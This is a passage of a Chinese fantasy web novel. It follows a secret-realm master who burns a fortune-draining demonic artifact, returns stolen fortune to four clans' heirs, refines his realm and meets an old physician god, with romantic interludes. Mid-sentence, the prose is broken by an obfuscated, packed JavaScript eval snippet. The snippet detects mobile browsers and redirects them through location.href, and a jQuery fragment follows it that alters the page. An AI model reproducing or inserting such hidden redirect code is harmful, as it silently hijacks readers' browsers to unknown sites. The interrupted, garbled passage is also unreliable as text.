姜洛玉挑眉:“我这儿确实有法子解决那手札,不过我可不做亏本买卖。你们在秘境阵法消失时就全然归属于三清秘境,转修鬼道为我卖命,是破坏三清秘境的惩罚。” “想要解决根本,那就要看你们的那些后代,愿意付出什么代价了。” 周家家主立马道:“只要境主愿意放我们出去说明一二,他们自然能分清利弊。” 该说的都说了,四人面上终于挂上喜色,齐齐道:“愿为境主效忠!” “那好。”姜洛玉能够确认四人的确心甘情愿为自己卖命,点了点头。“起来吧。” 四人这才从地面站起。他们能当上家主,当然不是傻子。如今性命掌握在姜洛玉手里,就算不答应,他一个念头,他们也得为他所用。 至于转修鬼道,对他们来说更是一条出路。毕竟他们魂魄残缺,强行转世非傻即残,不转世只能消散于天地。 姜洛玉终于放开丛明雪被编成辫子的头发,让人参童子给四个小辈解绑,对着新鲜出炉的手下吩咐道:“接下来,该你们出场了。” 第二通道外。 四大家族的人站在各自的位置噤若寒蝉,在他们不远处,两男两女无声对峙着。 “金禾。”许家家主最先打破沉默,一字一顿铿锵有力,“钥匙从你手上飞走的,是不是该给大家一个交代?” 金禾真君气得眉心直跳,自从许家被那场灵火烧了一半儿,许家家主就疯了一般暗中针对王家。 眼下又见许家家主为难,直接唤出本命剑横在许家家主面前:“你到底发什么疯?再咄咄逼人,别怪我的金燕不长眼。” “刀剑无眼,可你这个主人又没瞎。”许家家主身后浮起玄蛇虚影,锐利的目光扫过金禾真君身后的王家子弟。 “你可真是好运啊。周家禁地被毁,朱家产业被砸,许家被大火烧了一半儿,只有王家安然无恙。” “那又如何。”金禾真君握着剑柄的手纹丝不动,“你自己管教不好儿子,怪到我头上来了?” 玄蛇红眸闪烁着诡异的光亮,许家家主的额头青筋暴起。 “娘!” 金禾真君飞身接住苗真,又看见三道人影向另外三位家主飞去。 苗真脸上满是劫后余生的喜悦,没说上一句话,就被自家亲娘扔到了李角身边。 “胜儿?!”许家家主接住许胜,又惊又惧,叫来随行的医修将晕过去的许胜带下去安置。 朱家家主是个长相柔美的女修,接住朱轻竹,愣了半天才反应过来,惊喜道:“轻竹?” 朱轻竹借力站起,面露迷茫:“家主?” 她好像忘记了什么东西。 周怀夏被周家家主接住后,条件反射般立马远离,摸不着头脑地站在原地。 他不过是在秘境里睡了一觉,怎么再醒过来就在秘境外了? 人群开始骚动。 金禾真君刚把脸色惨白的苗真交给李角,就听见自家子弟刺耳的尖叫—— “老祖?!” 心下猛地一沉,她转头看过去,看见了空中的三男一女。 中间的男修明明是两千年前舍身殉道,为王家谋求生机的家主——沧东真君! 其他两男一女的身份也在另外三家子弟的对话里落实了身份。 “无相别乱动。”姜洛玉坐在树杈上,抓住在自己眼前乱晃的无相球。“我在看戏。” “唔——主、主人!我看不见路了!” 丛明雪掀开姜洛玉合紧的手,把无相球解救出来放到头顶:“乖乖呆着。” 无相球只好在丛明雪头顶滚了几圈,放弃和姜洛玉撒娇,继续陪他们看“戏”。 伴随着人群里一声高过一声的“老祖”,四位现任家主自知秘境生出了控制不了的变故,立即下令让在场的族中子弟全部折返。 沧东四人沉默着等待密林恢复平静。 人群撤离得很快,纵使心中有再多惊疑,众人也只好一步三回头地离开。 “云泽王氏,第五十九任家主王有仪,参见沧东老祖。”金禾真君收起长剑,对着沧东行跪拜礼。 没跪下去,她被一道轻柔的灵力托了起来,其他三人亦是如此。 “我知道你们心中有诸多疑惑与不解。”沧东眸光深邃,“我们四人,就是为此而来。” 接下来的时间,四人你一句我一句的揭开了云泽洲四大修仙世家繁荣的假面。 兰溪叹气道:“你们只知我们献祭是为延续了家族的繁荣,却不知一切都是那魔器的阴谋。” 松岚看向周家家主:“那魔器依旧供奉在禁地吗?” 他记得自己献祭前特意把那东西放在禁地的祭坛上,如今想来……真是荒唐。 周家家主脸色煞白,磕磕巴巴道:“禁、禁地被人毁了,等我找过去的时候,那东西早就消失不见。” “晚辈糊涂,老祖恕罪!” “周修远——”金禾真君实在没忍住,“你不是对外说周家禁地安然无恙吗?再说你们不是都抓到入侵者了吗?” “人都在你们手里,东西怎么能消失不见?” “诶,魔器丢了吗?”姜洛玉把哼哼唧唧的无相球抱到怀里,搓出来一副能识别上界魔气的望远镜。 望远镜是他在仙界的时候画出来的图纸,拿给丛明雪看了之后,七天之后直接得到了这个么法宝。把玩几天,直接扔给无相球复制。 当时他还在想,果然活得久就是好,什么都能学会。丛明雪不光精通剑道,炼丹、炼药、炼器、画符……等等可以说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833260|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是样样通。 在望远镜的镜片里,他扫过对面四人四残魂。周家家主身上的黑色魔气刺得他眼睛疼。 “别看太久。” 姜洛玉“哦”了一声,直接给四残魂传音:“魔器还在周家,别说太多,当心生变。” 刚才已经给四人分析透彻,残魂为首的沧东直接道:“真相已经全数告知,现在选择权在你们手里。” “你们又能付出什么,来让境主解决魔器?” 付出什么? 金禾真君思索片刻,道:“晚辈愿用族中剩余三清秘境异宝,外加一条矿脉、半条灵脉请求三清秘境境主铲除魔器,延续王家血脉!” 方才他们精血为引,证实了残魂身份不假,话中内容更是颠覆了他们的认知。 照他们这个说法,三清秘境境主只是出去渡个劫,回来家就被人挖了。若是再晚回来些,甚至都要被那魔器吞噬。 换做她自己,不管那些挖坑的人到底有什么苦衷,骨灰都要扬了喂狗。别提给他们改过自新的机会。 现在四位老祖的残魂都不再受魔器桎梏,魔器一定会加快速度吸走放在四大世家身上的“气运”,到时候简单的家破人亡都是仁慈,就怕连魂魄都被那邪物一并吸去。 王家拿出一半多底蕴换一个“生”的机会,很划算。 另外三位家主也明白其中的门道,全都拿出了最大的“代价”。 “好了,该我们登场了。”姜洛玉闪身跳上丛明雪后背,“师尊,我们走。” 丛明雪跟在四人身后去了周家。 周家的禁地是个大泥潭,岸边种着竹林。穿过泥潭结界后,姜洛玉差点没被里面散发出来的恶臭熏得蹬腿升天。 “这地方囚禁着什么啊,怎么这么臭。”姜洛玉好奇,问飘在周家家主身后的松岚。 松岚:“启禀境主,此地虽为禁地,却不是因为囚禁着什么。” “这地方,是周家叛逃之人的埋骨地。” 姜洛玉:“……” 他默默拿出望远镜,开始寻找魔气最浓的地方。 “不用深入了,这地方没有。”姜洛玉拍了拍丛明雪的肩膀,“他们抓的那个入侵者在哪儿?去找他。” 松岚:“是。” 很快,众人就到了周家关押犯人的地牢。 狱卒见周家家主过来,没点头哈腰就被赶了出去。 地牢最深处,吊着个血肉模糊的男人。 姜洛玉拿着望远镜一瞧,浓郁的黑气几乎将男人包围,最黑的还是左胸。 魔器就在那里。 姜洛玉现出人身,拿出那伽的鳞片按上男人心口! 纯血金龙的鳞片是对付魔的最好武器,更别提那伽还是神君。鳞片贴上左胸刹那,接触的地方迸发出股股黑水。 “啊——!!!” 男人猛地恢复意识,爆发出非人嚎叫,皮下游走着如活蛇般的凸起。 “不想死就坚持住。” 男人眼球瞪大到极致,悬吊着的手死死抓着铁链,喉管发出气音,最终垂下头一动不动。 巴掌大的红色从男人左胸飞出—— “缚!” 35.穿越第三十五天 银色光带霎时间将红光包了个严实。 丛明雪将东西拉回手里,对着姜洛玉颔首道:“可以了。” 姜洛玉这才把男人心口的龙鳞拿下来,转身对着四位家主道:“初次见面,介绍一下,我是三清秘境的境主。” 说完摸了摸脸,来之前他让丛明雪也给他套了个装兮兮的雾气,用来隐蔽容貌和实力。 金禾真君只能看见对面两团白雾组成的人形,行礼道:“见过境主。” 其他三人也接连拱手问好。 “真君多礼。”姜洛玉把玩着变成银茧的魔器,“销毁这东西需要三天时间。” “这样吧,三天后午时正刻周家禁地外的竹林里,带着我要的东西过来。” 离开前,姜洛玉拍了拍脑袋:“忘记说了,把今天那四个小辈也带来。本境主惜才,顺道送他们一份机缘。” 这就在众人意料之外了。他们本来以为,这一辈的绝世天才算是废了。没想到绝处逢生,这三清秘境的境主居然还愿意救他们一把。 沧东盯着四位家主,道:“境主慈悲。你等就此发下天道誓言,绝不能将关于三清秘境和魔器的事情泄露一点给旁人。” “从现在开始,秘境和你们没有半分关系。” 四人毫不犹豫,立马发下天道誓言。 丛明雪确定四人没有在天道誓言上耍小动作,这才穿过光门回了三清秘境。 金龙殿,离昼众人围在那伽的炼器炉旁边。 炼器炉通体金黄,高约三丈,镶嵌着一堆亮晶晶的石头。 “这东西真能对付魔器?”红楹满脸质疑,“你是打算直接把那手札烧了? 那伽:“有何不可?我这本命法宝里面可是南明离火,虽然在下界被削弱不少,烧他一个魔器绰绰有余。” “不过安全起见,红楹你得再往里面添一把涅槃火。” 红楹:“……哦。” “那伽叔!”姜洛玉踏入金龙殿,挥了挥手里的银茧,“快把这东西烧了。” 银茧的外壳开始冒出手指一样的凸起,让他感觉手里拿着的是一个正在孕育,即将破壳而出的活物。 还有点像榴莲——迷你闪光般。 余光瞥见垢姬,姜洛玉刹住脚步停在垢姬面前,指了指身后一串残魂:“垢姬姑姑,麻烦你带他们四个去转修鬼道。” “秘境内的天材地宝供他们随意取用,转修成功再麻烦你指点一二。” 垢姬虽为毒修,但在神界早年间受本体影响,不得不暂时封存肉身从去冥界以鬼修身份修炼了一段时间。 所以他才这么信誓旦旦地说能让那四个残魂转修鬼道。 至于这区别于其他四人的称呼,因为垢姬实在是被他刚会说话时的那声“姬姨”雷得不轻。 直接让他改口叫她“姑姑”。 垢姬欠身道:“是境主,属下明白。” 四个残魂神色各异,跟在垢姬身后离开金龙殿。 “贱畜!你们会后悔的,我可是……你们不能销毁我,我的主人可是……!”银茧发出了类似老者气急败坏的声音。 姜洛玉:“哦。” 银茧被送到了那伽手里。 “啊啊啊不要!我体内的气运能送你们飞升,我没骗人!” 那伽:“拜拜了您嘞。” 咻——得一声后,银茧落在高高跳起的金焰里。 红楹吐出一口涅槃火到炼器炉里,紧接着捏住鼻子:“这东西臭死了。” 异色火焰之中,银茧融化后成为了一滩黑水,在里面不断翻滚哀嚎。 浓郁的恶臭从炼气炉蔓延到整座金龙殿,久久不散。 姜洛玉“哇”了一声,和丛明雪悄悄咬耳朵:“其实那伽叔有洁癖。” “啊啊啊我的金顶万宝炉——!” 三天之后。 姜洛玉站在金顶万宝炉旁边,捡起里面拳头大小的彩色圆珠,问:“这就是气运结晶?还怪好看的。” 离昼:“你可知千万普通人之中才能积攒到拇指大小的气运结晶?” “这魔器虽无名无源,但能通过它身上的气息,判断出它在下界至少存在了四千年。” “不知毁了多少人,才能得出这么大的晶体。” 姜洛玉:“那要怎么做才能让这些气运回到该回的地方?” 离昼陷入回忆,眼神飘渺:“我记得古籍上说……” 周家禁地,竹林里,四位家主并上四个小辈默默等待。 “咳咳,各位家主久等了。”姜洛玉拿出已经掰成四瓣儿的气运结晶。 四位家主赶忙将说好的代价交到姜洛玉手里,生怕晚了惹得他不快。 苗真偷偷抬头瞟了一眼姜洛玉两人,看不见面貌也看不出实力…… 眼球传来刺痛,苗真这才低下脑袋——实力不详,但肯定很强。 看几眼就都会被两人身上似有若无的威压警告。 “你们想拿回属于自己的资质和气运吗?”姜洛玉将气运结晶放到四人面前,“如果想,就吃下眼前的气运结晶。” “一旦接受,你们身上就将多出一道使命。” 苗真磕巴道:“敢问境、境主,是什么使命?” 姜洛玉:“你们有所成后,要终其一生游历在修真界,将身体里多余的气运送回属于它们的地方。” “修行一道不是闭门造车就能飞升的。”朱轻竹重新穿回了朱家的校服,眉眼间多了几分从容和英气,“轻竹愿意!” 许胜摸了摸脸上的疤痕:“晚辈也愿意。” 当初他在火中受那魔物蛊惑,怨恨上了整个许家,清醒后才看见祖父斑白的头发。 他也是时候承担起自己的责任了。 周怀夏拱手:“晚辈亦然。” 当了十几年废物,有逆天改命的机会怎会轻易放弃? 苗真挠挠头,羞赧道:“晚辈也、也愿意。” 他一紧张就结巴的毛病怎么更严重了! 姜洛玉把晶体推了过去,四个小辈依次吞下气运结晶,彩光爆发在四人身上。 他们被结晶承认了,没有人心怀鬼胎。 他牵起丛明雪的手,笑道:“山高路远,今日一别再难相见。只望尔等记住方才所想,不忘初心。” 竹林恢复平静。 金禾真君摸了摸苗真汗湿的头发,深深看了一眼对面三家之人,道“各位好自为之吧。” “云泽洲,再无三清秘境。” 天地境,浮空殿。 姜洛玉躺倒在云床上头昏脑胀。他彻底重新变成秘境 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“阿玉说得对,是我欠考虑了。”丛明雪叹息道,起身扣住姜洛玉的头,把人按在怀里,交换了一个绵长的吻。 “好好说话呢,你……突然亲什么。”姜洛玉推开丛明雪,气息不稳,浅淡的唇染上艳色。 “别动,让我抱一会儿。”丛明雪重新将人抱进怀里,嗅着他身上透出来的味道。 是清雅的果香,姜洛玉沐浴时惯用的香膏。 他的阿玉。 唇上有痣的阿玉,会对他笑的阿玉,睡觉时会来回折腾的阿玉…… 姜洛玉呼吸困难,拍了拍丛明雪几乎要把他勒过气的手:“那什么《天剑诀》的副作用,对你影响这么大吗?” 丛明雪如梦初醒,松开人满脸歉意。直接离开云床,和姜洛玉保持安全距离,答道:“没错。” 情绪的释放是一刹那的,韵味无穷。 姜洛玉是他的“契机”,于是他一旦靠近,就控制不住地想和姜洛玉亲近,一亲近……就会做出自己也不太能控制的举动。 “合籍典礼我想等到道君之时再举办。”姜洛玉耳尖儿微红,“在那之前……我们可以请几个自家人先合籍。” 丛明雪葱绿色的眸子闪了闪,点头道:“好。” 距离彻底解决魔器之祸已经过去了三个月。 半敞的窗外飞来一道金光。 姜洛玉见丛明雪接住金光后满脸严肃,问:“怎么了?是宗门出事吗?” 丛明雪:“算是。百年一度的修真大比就要开始了,尘极问我要不要代表天正宗去大比上维护秩序。” 姜洛玉从脑子里翻出有关修真大比的事情。 没有具象化的识海里乱糟糟的,好不容易才找到。 修真大比百年一次,天道主办童叟无欺,面对两百岁以下、练气到元婴修为的修士开放。 每个境界前三名,天道还会下发合适天材地宝作为奖励。 “我想参加。”姜洛玉黑眸发亮,“那些话本子里的主角,都是在这种活动里进阶的。” 36.穿越第三十六天 “最重要的是……”姜洛玉指了指自己,“外面现在都以为我成了废人。” “参加修真大比,就当是送大家一个惊喜。” 丛明雪从姜洛玉的语气里品出一丝不对劲儿,眼皮一跳:“什么惊喜?” 姜洛玉:“万相道的惊喜。” 他的对手都是金丹期的修士,而《太一万法无相诀》作用在和他同一大境界的修士身上,效果依旧明显。 到时候的对决,一定非常有意思。 “好,切记不要逞强。”丛明雪看了眼外面的天色,“我去星姨那儿找一找压制功法弊端的办法。” “否则……我怕会伤到你。” “没那么严重吧?”姜洛玉无所谓地躺了回去,“来陪我睡觉,好困……你忍心抛下我和那些古籍面对面吗?” 云床塌下去一部分。 姜洛玉滚进丛明雪的怀里,抱着人陷入浅眠。 一刻钟后。 他捂着脖子推阻着丛明雪,顾不上又被咬破的嘴角:“停停停!再亲都要亲掉一层皮了,我同意你去星姨那儿了……” “抱歉,等我回来。” 额头再度落下个滚烫的吻,姜洛玉“嗯”了一声,把自己卷进被子里睡了个昏天黑地。 “烛山、烛山……” 谁?谁在叫他? “烛山,仙界生、生……” 姜洛玉猛地惊醒,像是脱水的鱼一般汲取着空气中的养分。眼角毫无征兆地落下一滴泪,从被角一直滑落到地面。 平静下来后,听了枕边丛明雪的留言——凝星已经寻到了压制功法副作用的办法。 他已经睡了一个月了,期间丛明雪得不到回复只好回来查看,发现他只是熟睡,留了言才放心地离开去百花殿配合试药。 姜洛玉揉碎留言,擦了擦眼角。 他不记得自己梦见了什么,只记得梦中说话的人应该是他认识的。醒来后心头覆盖了巨大的阴影,似乎即将发生一些事情。 不在他掌控之中的事。 “啾啾——啾——” 巴掌大的雪白团雀落在窗棂上,歪着脑袋叫了几声。它把脑袋转了几圈,确定浮空殿里那个令鸟生厌的气息不在,这才欢欢喜喜飞到姜洛玉身前。 姜洛玉摸了摸团雀的脑袋,在它眉心轻轻一点,微不可察的金光被团雀吸收。圆滚滚的小鸟瞬间化作鸿鹄飞出,发出清脆的啼叫。 等到鸿鹄在空中撒欢似地飞完,又乖乖落到走出殿外的姜洛玉肩膀上。 他抚了扶鸿鹄的鸟喙,柔声道:“很快你们就不用在拘泥于一方天地了。不过……玩够了要记得回家。” “轰隆——轰隆——” 迷雾海底。 凌珠放过戏弄在自己嘴边游来游去的小鱼,奇怪道:“打雷了?” 青蝶蚌旁边趴着的“山包”动了动,滚落一地的珊瑚和碎石。被震醒的老鳖探出脑袋,摇头:“不,是境主在炼化秘境。” “我们快能出去了。” 凌珠眼前一亮,游过去坐到老鳖的壳上:“老乌龟你没死啊,我还用贝壳给你立了个墓碑呢。” 老鳖:“……” 凌珠:“老乌龟你想出去玩吗?自从来了下界我都快憋死了,这下境主炼化秘境,终于能修真界来去自如不受桎梏了!” 老鳖:“不去。” “切,无聊。”凌珠做了个鬼脸,游到迷雾海面,打算看看姜洛玉到底如何炼化秘境的。 此时万丈高空之上,姜洛玉的炼化到了紧要关头。 他离灼灼烈日只有不足三丈的距离,若不是身上套了数层法宝,还有那伽脱落鳞片打造的护身鳞甲,几乎要晕厥过去。 热不死和不怕热是两个概念,出现在三清秘境的东西是无法伤害他,但不代表他对太阳的温度失去感知。 炼化秘境一共需要三个前提条件。 第一,炼化之人必须是秘境之主,拥有掌控整个秘境的能力。第二,必须要有一个遍布于整个秘境的东西来作为炼化的媒介。 第三,也就是最重要的一点,炼化需要火。 所以,他就将主意打到了秘境的“太阳”身上。 秘境里日月星的本质都是能量体的汇聚,日为阳火,星月为阴水。 阳光的照射范围涵盖了整个秘境,作为媒介再好不过。它蕴含的能量来源于天地之气,足够支撑炼化,就算用去大半也能慢慢补回来。 只不过到时候秘境的温度会下降,但比起受困于云泽洲甚至不得返回上界,炼化的代价微乎其微。 “热死了……”姜洛玉嘀咕着,顶着能让合体真君融化的温度不断掐诀,徒手用精血画出阵法再打入烈日。 《太一万法无相诀》心法总篇运转到极致,不间断吸收着天地、以及小山般的灵石的灵气。转化而成的灵力又在炼化过程中消失。 七七四十九日后,炼化终成,三清秘境的极昼结束了。 姜洛玉脱力跌落到丛明雪怀里,眼冒金星,用尽最后一丝力气喊出—— “收……” 他该睡觉了。 深山溪流滩涂之上,樵夫远远就看见上面躺着个玄衣青年。 那衣服一看就是富家子弟。 离得近了,他甚至能看见衣服花纹上的流光,像是一团五颜六色的云。但最惹眼的还是青年的长相,精致艳丽,简直就像是话本子里的精怪。 樵夫活了一辈子了,什么人没见过,本想多一事不如少一事直接回家。家里还有嗷嗷待哺的孙子等着他买了柴换羊奶喂。 可青年舒展的眉眼,莫名让他想到了自己病逝不久的儿子。戒备心消失了,他蹲下身,用裤子擦了擦手,这才拍上青年的肩膀。 “仙长、仙长?哎呦——” 一刻钟后,姜洛玉满脸尴尬地替樵夫重新捆好了柴火,喝了灵泉水才开口:“老人家,对不住。我刚才脑子糊涂了,将您误认成了敌人。” 炼化三清秘境的最后一步是将秘境压缩成可移动的实体,到时候秘境不受限制,里面的东西亦是如此。 他当时已经一个半月没睡觉了,头疼得要死,好不容易坚持着将秘境压缩,一不小心就把自己弹了出去。 要不是樵夫将他叫醒,还不知道要睡到什么时候。 樵夫坐在石头上歇气,锤了锤钝痛的腰。 好不容易分辨出姜洛玉在说什么,惋惜道:“仙长可是有喉疾?我 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樵夫涕泪四溅,一时失声,只要沉下双腿要给面前的青年磕头。 姜洛玉连忙扶起樵夫:“丹药是少了些,不过泡成水还能分给两个人。老人家,你说的何‘神医’,是不是戴着遮挡全脸的面具,身后还背着个大药箱?” 樵夫:“您怎么知道?” 姜洛玉笑道:“只有药王谷的弟子才会如此。好了老人家,我们有缘再会。” 樵夫眼前一花,滩涂上只剩下自己,和两尾乱蹦的鲤鱼。 不,还有一袋灵珠。 竹溪村。 村口的柿子树长得正好,树下的藤椅上,躺着个带着铜色面具的男人。 男人身材健硕,小麦色的手抓了抓屁股,慨叹一声惊起鸟雀。随手捡起落在地上的柿子,擦都不擦直接放进嘴里。 “神医!我今天抓了两条鱼,您要不要来我家吃饭啊?”樵夫满脸喜色地对着男人问道。 男人瞥了一眼鲤鱼,半死不活:“多谢,没胃口……” “你今天碰见谁了?!” 男人激动地跳下去,抓住樵夫的肩膀:“不对,应该是你刚才遇到谁了?” 樵夫心里咯噔一下,含糊道:“就是在溪边救了个落水的孩子。” 没等樵夫说完,男人拎起椅子旁的药箱,向溪水的方向飞奔而去。 此时的姜洛玉,正坐在升级版的飞舟里全速赶路。 三清秘境炼化之后成为实体,需要有一个唤醒的过程。 这个过程可以在秘境里完成,也能在外面进行,在此之前,里面的人就算有天大的实力也别想出来。 他得找一个安全的地方进行唤醒仪式。 其实在滩涂上炼化也没问题,反正他手里有能抵御渡劫修士的灵宝,可依旧觉得后背发凉。 思来想去还是觉得找一座城池入住客栈,再从长计议比较稳妥。 “哈——你小子、让我好找……” “啪”得一下,扒在飞舟尾部的人影被他用灵宝拍了下去。 姜洛玉:“……” 不对,刚才的声音怎么那么熟悉?! 37.穿越第三十七天 “有你这么对待救命恩人的吗?!” 飞舟上,戴着铜面的男人利落地打开下半部分面罩,毫不见外地抓起方桌上的灵食狂吃。露出的下颚棱角分明,还有一层淡淡的胡茬。 红烧灵乳鸽、飞燕神乳羹、紫竹灌雷煲、六香合味汤…… 男人随口问道:“这菜是谁做的?” 姜洛玉给男人倒了杯灵茶,眉眼含笑:“路边随手买的,念卿神君不嫌弃就好。” 何在夕吃东西的手一顿,眯起眼睛上下打量着对面的人。 “那你究竟是个什么东西?” 电光石火间,姜洛玉踹翻木桌,玄衣剑挡住迎面而来的药箱。 “铿——” 金属撞击的声音从两者相交之处穿出,何在夕大吼一声,拎着把手再次将药箱狠狠摔了过去。 感受到药箱上的恐怖气息,姜洛玉暗骂一声,不再犹豫,套上数层防御灵宝。 “喀嚓、喀嚓……” 十几道破碎声过后,碎片中央,赫然站着一不过双十年华的病弱女子。 女人五官精致,气质温婉,脸上的病气却破坏了那分美好。 她捂着心口,眼神平静又悲伤:“何郎……你又要亲手杀了我吗?” 药箱稳稳悬停在“女人”面前。 “变得还挺像,身手也说得过去。”何在夕惋惜地收回药箱,“别来无恙啊,没想到你居然恢复记忆了。” “我观你气息有异,还以为认错了人,这才出手试探。既然在下界还呢个遇见,不如让我好好为你‘诊治’一番。” 医疯子。 姜洛玉顶着病弱女人的壳子,收拾起一地结界碎片,重新拿出了一套桌椅坐了上去。 “诊治就不必了,我看您是想趁机把我刨开分析一遍神魂。”他撑着脑袋,温婉的气质消失殆尽,周身气息甚至有些冰冷。 “念卿神君,您为何在下界?还……成了药王谷的弟子。” 何在夕敲了敲桌子:“坐直了,卿卿可不会这般作态。” 姜洛玉尴尬地咳了咳,魂魄都被盯上的感觉太诡异,让忘记自己变幻了身形。闻言瞬间进入表演模式,黑眸温润得仿佛能让人溺毙其间。 他幻化的女子,是念卿神君早亡的发妻。 死得比较彻底,得了侵蚀神魂的病,三魂七魄都没了。就算如今何在夕摸到了医修的巅峰,成了“医神”,也无法复活一个不存在的人。 至于他和何在夕的渊源,要追溯到他在药辛殿的第一百八十三年。 那年他自以为修炼小有所成,去了一个符合他上仙修为的秘境。然后……拎着一条胳膊一条腿回去了。 断肢再生针对于他这种小仙来说,还是原装的用起来顺手。他的意思是随便找一个医仙看看就好,结果丛明雪直接给他找来了何在夕。 神界消亡后唯一一个活下来的“医神”。 何在夕对他的状态很感兴趣,毕竟他可是六界第一个能在仙界飞升的生姜。 虽说此番能来药辛殿,全是因为他欠了丛明雪一个人情,不得不还。但好不容易见到他,接完胳膊和腿,连还人情都顾不上了,只想弄清楚他为什么能在仙界修炼。 眼见着何在夕只想将他刨开看个仔细。姜洛玉灵光一现,忙说自己能让他再次看见发妻的样子。 何在夕凶名在外,治病可以,不收灵石也不收天材地宝,只收他想要的报酬。若是治好病了还想没事找事,医体双修的他不介意把人揍出去。 而比何在夕喜怒无常凶名更加响亮的,是他对亡妻的钟情。自从到了仙界,他走遍了十二仙境,只为了能找到一个能雕刻出亡妻神态的人。 直到今日,依旧一无所获。和神界一样,所有人包括他自己,都无法复刻出记忆里的人来。 此话一出,何在夕果然对这个报酬心动了。 姜洛玉也成功地复刻出何在夕发妻的音容笑貌,暂时打消了何在夕想解剖他的心思。紧接着,何在夕雷打不动地每百年让他变成亡妻的模样,为他做上一顿粗茶淡饭。 “我也不知自己为何到了下界。” 何在夕的声音把姜洛玉拉回现实。 “而且我的神格没了,修为也倒退回元婴,现在空有神躯和本命法宝。”何在夕说着说着掀起脖颈的头发,“还一不小心被药王谷的老头抓过去当了药人。” 姜洛玉:“……?” 他仔细看了看何在夕脖子上的黑色刺青,如实说:“看不懂,我不了解药人的事情。” “那既然你是药王谷的药人,药王谷在北洲,你怎么会出现在云泽洲?” 何在夕:“逃出来了。这东西控制不了我,我只是陪那老头演戏,顺便偷了药王谷的传承。” 姜洛玉:“……” 他无话可说。不过看样子仙界应该出了大乱子。 何在夕左看右看:“药辛去哪了?” 姜洛玉一愣:“您找他做什么?” 何在夕:“没什么大事。不过是在仙界时,他跑过来问我为何听见你要渡劫,心里会有说不上来的感觉。” “我告诉他这种感觉可能是喜欢,于是劝他找个方法下界陪你渡劫。” 姜洛玉:“……?” 何在夕:“看什么看?先变回去我再继续说。” 姜洛玉起了一身鸡皮疙瘩,变回本体拿出红楹做的灵食:“您继续。” 何在夕:“你可能不知道,渡劫是上界最容易碰见道侣的方式。放眼望去,每三对道侣里面,就有两对是渡劫的时候在一起的。” 姜洛玉用眼神传递着淡淡的无语。 何在夕:“我之所以劝药辛陪你渡劫,是怕他还没想明白自己的心意,你就在下界找到了道侣非她不娶、非他不嫁的。” 姜洛玉皮笑肉不笑:“那多谢您了,我们已经在一起了。” 何在夕毫无形象地吃着肘子,沉声道:“恭喜。他人呢?” “这里。”姜洛玉晃了晃手里的生姜玉佩。 接下来,他趁着何在夕吃东西,把下界的事情挑挑拣拣说了一遍。 三清之气的身份并不是什么见不得人的秘密,上界身份和他差不多的神君、仙君一抓一大把,他顶多算是其中比较显眼的一个而已。 化形之前吃了还能大补,现在就算把他整个人生吞了对方也只能说出个“辣”字。 “事不宜迟,你先唤醒三清秘境,其他的事情等众人到齐了再说。”何在夕擦了擦嘴扣上铜面,浑身肌肉筋骨发出爆鸣,“我为你护法。” 半日之后。 看着眼前洁白通透毫无杂质的玉佩 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野葱的辛辣炸开在舌尖,瞬间满脸不可置信地看向丛明雪。 这精血怎么会是野葱的味道? 纠结一秒,姜洛玉释然了,毕竟他自己的精血也不遑多让。 三清秘境众妖再度拿出信物屏蔽天机。 丛明雪:“接下来的话,你只能听,不能问,不能看,不能说。” 姜洛玉点头。 “神界消亡,是毁于‘天罚’。” 丛明雪将神界消亡的事实娓娓道来。 “神界内的事物无形无相,就算是抓来一团雾气,转手也能捏出来一座金碧辉煌的宫殿。” “但神并非永生,神会随着时间的推移逐渐失去所有情感和寄托。等到真正孑然一身时,就会化为灵气反哺天地。” 姜洛玉闭着眼睛眼睛,神魂剧颤。 连神有一天都会死去,化为天地灵气,那修仙又是为了什么? 为何不—— “这只是其中一种死亡方式。生的相对是死,死的定义无外乎肉身损毁,魂飞魄散,只要魂魄在,就不是真正意义上的死亡。” “另一种方式,说是死,其实不然。孑然一身后魂魄不灭,神格不毁,肉身和神力反哺,魂魄逍遥于天地。等到再度和尘世产生联系,就能再入轮回,历经磨难再度登神。” 丛明雪接着道:“神界的最高管理者是‘神主’,同样也是天道选出来的监管者。他监控着手下神君的一举一动,防止他们做出想要称霸六界的荒唐举动。” “直到有一天,新上任的神主厌倦了这种生活,开始在在六界背后搅动风云。” “第二次仙魔大战爆发了,六界尸横遍野民不聊生。神主蛊惑了答半部分神君奴役六界,与剩下那些想要维护秩序与和平的神君开展内斗。” “斗来斗去,天罚降临,天道一怒之下把神界劈得烟消云散,神主和他的部下都死了。能活下来的神君都是沉睡过去或是维护过秩序的那些。” 姜洛玉脑子里蹦出个诡异的猜测,难不成……幕后黑手是神主? 38.穿越第三十八天 “但神主是否真的泯灭于世,我们这些活下来的神无从得知。”离昼逗弄着肩上的长出鸟翅的黑白小蛇,“境主啊,这些东西你听听就算了。” “在场这些人,当年都在沉睡之中。虽未参与那场神战,身上依旧带着天罚。” 红楹:“甚至就连谈论往事的时候,天罚都会在我们的血液、经脉、三魂七魄里彰显存在感。” 如烈火般灼烧,如冰原般荒芜。他们的身体里似乎凝结了冰晶,让他们的意识迟钝,□□逐渐沉重……似乎马上就要化为虚无归于天际。 但这只是死亡的假象,是天道给予他们的警告。 谁若是再挑起风波让六界置于倾颓之下,必将承受天道的怒火。 她掐住离昼肩膀上小蛇的七寸,吐了一口涅槃火,烧掉小蛇身上的翅膀。 愤怒的小蛇平息怒火,用脑袋蹭了蹭她的手背。 姜洛玉听得皱起眉毛,想问什么是天罚,却发不出声音。 他被人禁言了。 垢姬走过去,抬起手指轻点姜洛玉的眉心:“境主,别想太多了,好好睡一觉。” 随后万籁俱寂。 等到姜洛玉再度恢复意识,人躺在浮空殿,赶走身上一群不知道怎么跑上来的小动物后,起身去了殿门口。 “碰!” “吃……臭凤凰你别看我牌啊!” “我没有,你别诬赖好人。” 姜洛玉:“……” 殿门口的台子上摆了张方桌,离昼、红楹、何在夕并上丛明雪在打牌,每个人脸上都贴着数量不一的纸条,旁边站着看牌的垢姬和凝星。 纸条最多的是丛明雪。 